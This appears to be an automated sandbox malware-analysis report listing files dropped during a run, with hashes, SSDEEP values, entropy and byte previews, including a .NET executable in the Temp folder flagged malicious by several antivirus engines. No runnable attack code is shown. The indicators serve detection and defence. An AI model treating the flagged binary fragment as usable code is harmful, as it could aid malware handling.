MD5:	FCA0AA267BB33A0A3C78DD00C7E53FB2
SHA1:	F4F2EFF771E4C3D5DD85CA69F32C61F958DCEE41
SHA-256:	F38C651573C980EA18F20245643CA2D7B980FCEEADE83743C38F737F3BE70247
SHA-512:	409D12B28966F71B1E4E2A2A298AEDFE2DF489879F27CB2882D246EC1BEC7139B2C8BF691D84E3D7B471C54C79F91638B5A38EE0597067C54D9DC99881E51DD7
Malicious:	false
Reputation:	unknown
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.1.0.4.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5487.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4685
Entropy (8bit):	4.4709404462914755
Encrypted:	false
SSDEEP:	48:cvIwSD8zskJgtWI9DrWSC8Bqs8fm8M4J98qFE+q8vs8p3fgtYd:uITfiAaSNsRJOKffgtYd
MD5:	3F3A356F56D6A4533FAE911FD1906421
SHA1:	03AE9A922F06A240D9DF2F55307883508317AD08
SHA-256:	6885066DFF181A511EB79B1E7932E547CB4A0539677422F5EF41B6DA93805D04
SHA-512:	87920C710F33B65101A1A9FCFDE875D147D30EAAC545C3D1DA990446EDE7F4FFEB25E5F687AE1EBACD32045220D2E452FED6571338055ABCB0FFE748EA35BF54
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1341481" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9C60.tmp.csv Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	55410
Entropy (8bit):	3.051722069493437
Encrypted:	false
SSDEEP:	1536:0fHLHUn24ZROzw2qZvCdqQoLbFrIKv4FnEFiaqvMiZIYPTL0:0fHLHUn24ZROzw2qZvCdqQoPFrIKv4FA
MD5:	F0398FDA44063007178B1E5A94776196
SHA1:	37CAF4B9C45DEFB483495C539A515EAD03AA87CF
SHA-256:	7A4E4081A72A8BCD8968C217133BD66B7E5E88E8B457D8CD10391EE938632AE9
SHA-512:	AC19D75FEC3926FDA5C623F6D4F98E1ED8C292E1955C72143031E52D06ECF52E2CBF378AC8943DA463BA02442F9D093CCAF9BCD93BC4B7CB45965A97FA758B76
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9E93.tmp.txt Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.696246008462747
Encrypted:	false
SSDEEP:	96:9GiZYWBubhddalYiYADWroHKUYEZzkstrigkOLzwRyC97aNk9At8I4/3:9jZDXlFvkz/97aNk9At74/3
MD5:	2F634B54C8BD66B1F1A55B4EC51F7840
SHA1:	32D8023A10E64A0DD194D6F504466B5F6BCB9ACE
SHA-256:	3E34045BF40114946DF5EE6435F4DDFDE287F8ADB05E84011CC41372BA48C0D1
SHA-512:	5F8D6CF992088D0F53D2458FC8357623F6D902BB983AA5A603EF3CC44D4BFB3CCEB4933CB618D5D44806BB75C5F477A4397FECDFDA786C91C39F8179FBF44DB1
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.1.5.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA6E2.tmp.csv Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	51100
Entropy (8bit):	3.065536061021575
Encrypted:	false
SSDEEP:	768:sAH+OF+Et0rWE/230frj2FZOTo/sBw9fm5vjcbgX8:sAHRB0l230Tj2FZMo/sBw9fm5vjcbgX8
MD5:	9A6560221109CF6DC6D1181532311280
SHA1:	7C675FD2498E5A94B827C3500776ADDF85AC3B29
SHA-256:	33B139EE36667DE6A30D7A03DA377B6165A71107CC625C963C1D53220292E892
SHA-512:	44D00625A305F47AECA9B14F09B3FF63F3DA5FA61A71872B99A0C65689F2E40F901E9A956E28176DE3C984AC82135E129899B51AFF0B066DB25377E3DD7DECA8
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERADC7.tmp.csv Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	53558
Entropy (8bit):	3.0577445365050546
Encrypted:	false
SSDEEP:	1536:FqHffSe2EPOVE2qZGCVqQbLbu1xkbOBn9LvT+XtigB:FqHffSe2EPOVE2qZGCVqQbPu1xkbOBn4
MD5:	44F909722F6881ACB5E0D38DC5049285
SHA1:	5706A9B1E113AD28B7F0A03C23225FE40EB5BF25
SHA-256:	6B768330BA798FE5485A054DE417DAB859FD699FAB81D8FF1436BA6D9BAE829A
SHA-512:	F160455B750A640B658B45FDDD572919A5CE60764AFAC07C3CD71D6D888915F16C6C1F43EE17F0935661B4957DA9C352F2D00EEC31D40C17F62E1564FF460884
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAEE2.tmp.txt Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.69513043446906
Encrypted:	false
SSDEEP:	96:9GiZYWxvo/arYLYFBWDazHNUYEZgztFipFKFowbGAnsaS0BM4aIt33:9jZDJMIkaf52aS0BM4Nt33
MD5:	50D28775D5999ACE46C22C7DCCBA883D
SHA1:	7528888E8F506DE3C8896E00F06DF8C97B688CA8
SHA-256:	836333D49E9F1E2F3295F85CC601AB6246D9744FDA09B9970543C61BBE6FE340
SHA-512:	75277E3CF2C41086D1DE67026708AD8BC6F87031F300215B9E5834C9B60833AA82F89C80D0131B4F5173ECCD9FF49D251213891332BC2AF08A914BEDCEC1EE4C
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.1.5.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB673.tmp.txt Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.696427295032779
Encrypted:	false
SSDEEP:	96:9GiZYWdKw9aHYtYItW8HGUYEZuGtriKjkJLCw9JPmkaBoxP6rZaEWIGZ2a3:9jZDIHqHk1JukauJ6rZaERGZ2a3
MD5:	4AB02C3931E0B05AB492267DDEDB81FC
SHA1:	028F4AD9FBCF725953A84B21F89C3C55F3A43DA0
SHA-256:	948238F9A7DAFD6B69DA99D0430F09F44D9E9B30C0C853BE18E8345A10D7676D
SHA-512:	0E9DC0351D7531B3C557A0C6C69E9E54A8F32EE5A7C3CA1DA642BB412AE443CB43B1E4C8C37D534E2BEEE1B9C2820B16568034A3167CF32786E0A32DF9173A9C
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.1.5.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\USOPrivate\UpdateStore\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml (copy) Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	2493
Entropy (8bit):	5.229161033546255
Encrypted:	false
SSDEEP:	24:2dS48pX4y/DvKWDkQpydX8ICDKbnTiTBMuT52YGP8EqXpWfKFghR4p/BzceFYMQc:cAn/TLtpuQ6Zhip/B4VDSkC9+TiL+s
MD5:	745BFA39C73F634F5383C83A69A11AD0
SHA1:	D946292D52770ADBBEAC4A4D4E5A18407D1A80D9
SHA-256:	E2B998E9EC2D0C2FE171C06C98A6BE56D0CB1C00D8D0D007B526F782EBDAF763
SHA-512:	B775FD26BAD7E17250738E7CE7489CC34207B295D54EE21079D62C7485A8315A5DF7CDA7607B4001B5133EE7A297ACDDCE059127D9876420A648A66E1205B7D0
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8"?><updateStore><sessionVariables><permanent><AUOptions dataType="3">1</AUOptions><AllowMUUpdateService dataType="3">0</AllowMUUpdateService><AreUpdatesPausedByPolicy dataType="11">False</AreUpdatesPausedByPolicy><AttentionRequiredReason dataType="19">0</AttentionRequiredReason><CurrentState dataType="19">1</CurrentState><FirstScanAttemptTime dataType="21">132399985333469120</FirstScanAttemptTime><FlightEnabled dataType="3">0</FlightEnabled><LastError dataType="19">0</LastError><LastErrorState dataType="19">0</LastErrorState><LastErrorStateType dataType="11">False</LastErrorStateType><LastMeteredScanTime dataType="21">132399985333781637</LastMeteredScanTime><LastScanAttemptTime dataType="21">132399985333469120</LastScanAttemptTime><LastScanDeferredReason dataType="19">1</LastScanDeferredReason><LastScanDeferredTime dataType="21">132459503442223904</LastScanDeferredTime><LastScanFailureError dataType="3">-2147023838</LastScanFailureError><LastScanFailu

C:\ProgramData\USOPrivate\UpdateStore\updatestoretemp51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	2493
Entropy (8bit):	5.229161033546255
Encrypted:	false
SSDEEP:	24:2dS48pX4y/DvKWDkQpydX8ICDKbnTiTBMuT52YGP8EqXpWfKFghR4p/BzceFYMQc:cAn/TLtpuQ6Zhip/B4VDSkC9+TiL+s
MD5:	745BFA39C73F634F5383C83A69A11AD0
SHA1:	D946292D52770ADBBEAC4A4D4E5A18407D1A80D9
SHA-256:	E2B998E9EC2D0C2FE171C06C98A6BE56D0CB1C00D8D0D007B526F782EBDAF763
SHA-512:	B775FD26BAD7E17250738E7CE7489CC34207B295D54EE21079D62C7485A8315A5DF7CDA7607B4001B5133EE7A297ACDDCE059127D9876420A648A66E1205B7D0
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8"?><updateStore><sessionVariables><permanent><AUOptions dataType="3">1</AUOptions><AllowMUUpdateService dataType="3">0</AllowMUUpdateService><AreUpdatesPausedByPolicy dataType="11">False</AreUpdatesPausedByPolicy><AttentionRequiredReason dataType="19">0</AttentionRequiredReason><CurrentState dataType="19">1</CurrentState><FirstScanAttemptTime dataType="21">132399985333469120</FirstScanAttemptTime><FlightEnabled dataType="3">0</FlightEnabled><LastError dataType="19">0</LastError><LastErrorState dataType="19">0</LastErrorState><LastErrorStateType dataType="11">False</LastErrorStateType><LastMeteredScanTime dataType="21">132399985333781637</LastMeteredScanTime><LastScanAttemptTime dataType="21">132399985333469120</LastScanAttemptTime><LastScanDeferredReason dataType="19">1</LastScanDeferredReason><LastScanDeferredTime dataType="21">132459503442223904</LastScanDeferredTime><LastScanFailureError dataType="3">-2147023838</LastScanFailureError><LastScanFailu

C:\ProgramData\USOShared\Logs\UpdateSessionOrchestration.001.etl (copy) Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	3.7649970978747143
Encrypted:	false
SSDEEP:	192:xii8i/EV0E+Nn9MC++6U6yuI6LpYL87LWdCLWMa:wZR6oa
MD5:	16A89235CAAF9B886829EF4DA5C9B3B3
SHA1:	2E33823F067339232CE23D5C4DB6763B690DDCCA
SHA-256:	D502642BE4B16C9D616952661BBB7F754A1F8200F078AE67CD230541C4FB51AF
SHA-512:	A7140CEAAEBCC4B1D0B6310440495692DF21616D29B38FB0FC8F3452115F2CD82169063F27FB70A3A9038564E99AD4F4948193F9F8EB4950AC89CD4B4E56CB67
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................l.0+.....................B..............Zb..K....(..........................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1............................................................~.C+..... .....l.0+............U.p.d.a.t.e.S.e.s.s.i.o.n.O.r.c.h.e.s.t.r.a.t.i.o.n...C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.U.S.O.S.h.a.r.e.d.\.L.o.g.s.\.U.p.d.a.t.e.S.e.s.s.i.o.n.O.r.c.h.e.s.t.r.a.t.i.o.n._.T.e.m.p...1...e.t.l.........P.P.........l.0+....................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\USOShared\Logs\UpdateSessionOrchestration_Temp.1.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	3.7649970978747143
Encrypted:	false
SSDEEP:	192:xii8i/EV0E+Nn9MC++6U6yuI6LpYL87LWdCLWMa:wZR6oa
MD5:	16A89235CAAF9B886829EF4DA5C9B3B3
SHA1:	2E33823F067339232CE23D5C4DB6763B690DDCCA
SHA-256:	D502642BE4B16C9D616952661BBB7F754A1F8200F078AE67CD230541C4FB51AF
SHA-512:	A7140CEAAEBCC4B1D0B6310440495692DF21616D29B38FB0FC8F3452115F2CD82169063F27FB70A3A9038564E99AD4F4948193F9F8EB4950AC89CD4B4E56CB67
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................l.0+.....................B..............Zb..K....(..........................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1............................................................~.C+..... .....l.0+............U.p.d.a.t.e.S.e.s.s.i.o.n.O.r.c.h.e.s.t.r.a.t.i.o.n...C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.U.S.O.S.h.a.r.e.d.\.L.o.g.s.\.U.p.d.a.t.e.S.e.s.s.i.o.n.O.r.c.h.e.s.t.r.a.t.i.o.n._.T.e.m.p...1...e.t.l.........P.P.........l.0+....................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\13E2.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\13E2.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	700
Entropy (8bit):	5.346524082657112
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPk21OKbbDLI4MWuPJKiUrRZ9I0ZKhat/DLI4M/DLI4M0kvoDLIw:ML9E4Ks2wKDE4KhK3VZ9pKhgLE4qE4jv
MD5:	65CF801545098D915A06D8318D296A01
SHA1:	456149D5142C75C4CF74D4A11FF400F68315EBD0
SHA-256:	32E502D76DBE4F89AEE586A740F8D1CBC112AA4A14D43B9914C785550CCA130F
SHA-512:	4D1FF469B62EB5C917053418745CCE4280052BAEF9371CAFA5DA13140A16A7DE949DD1581395FF838A790FFEBF85C6FC969A93CC5FF2EEAB8C6C4A9B4F1D552D
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..2,"Microsoft.CSharp, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Dynamic, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Temp\13E2.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	537088
Entropy (8bit):	5.840438491186833
Encrypted:	false
SSDEEP:	12288:SV2DJxKmQESnLJYydpKDDCrqXSIXcZD0sgbxRo:nK1vVYcZyXSY
MD5:	D7DF01D8158BFADDC8BA48390E52F355
SHA1:	7B885368AA9459CE6E88D70F48C2225352FAB6EF
SHA-256:	4F4D1A2479BA99627B5C2BC648D91F412A7DDDDF4BCA9688C67685C5A8A7078E
SHA-512:	63F1C903FB868E25CE49D070F02345E1884F06EDEC20C9F8A47158ECB70B9E93AAD47C279A423DB1189C06044EA261446CAE4DB3975075759052D264B020262A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 46%, Browse Antivirus: ReversingLabs, Detection: 89%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?y...............0.............I... ...`....@.. ....................................@.................................`I..K....`............................................................................... ............... ..H............text....)... ..................... ..`.rsrc........`.......,..............@....reloc...............0..............@..B.................I......H............?..........hX..}............................................(......0..,.......(d...8.....~....u....s....z&8.........8...................................(d...(.......j................................(.....~(....(^...8....(.........8........................................0..............0...................................(......0.....................0..............(....z.A.........z.A............................................*.......

C:\Users\user\AppData\Local\Temp\2819.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	301056
Entropy (8bit):	5.192330972647351
Encrypted:	false
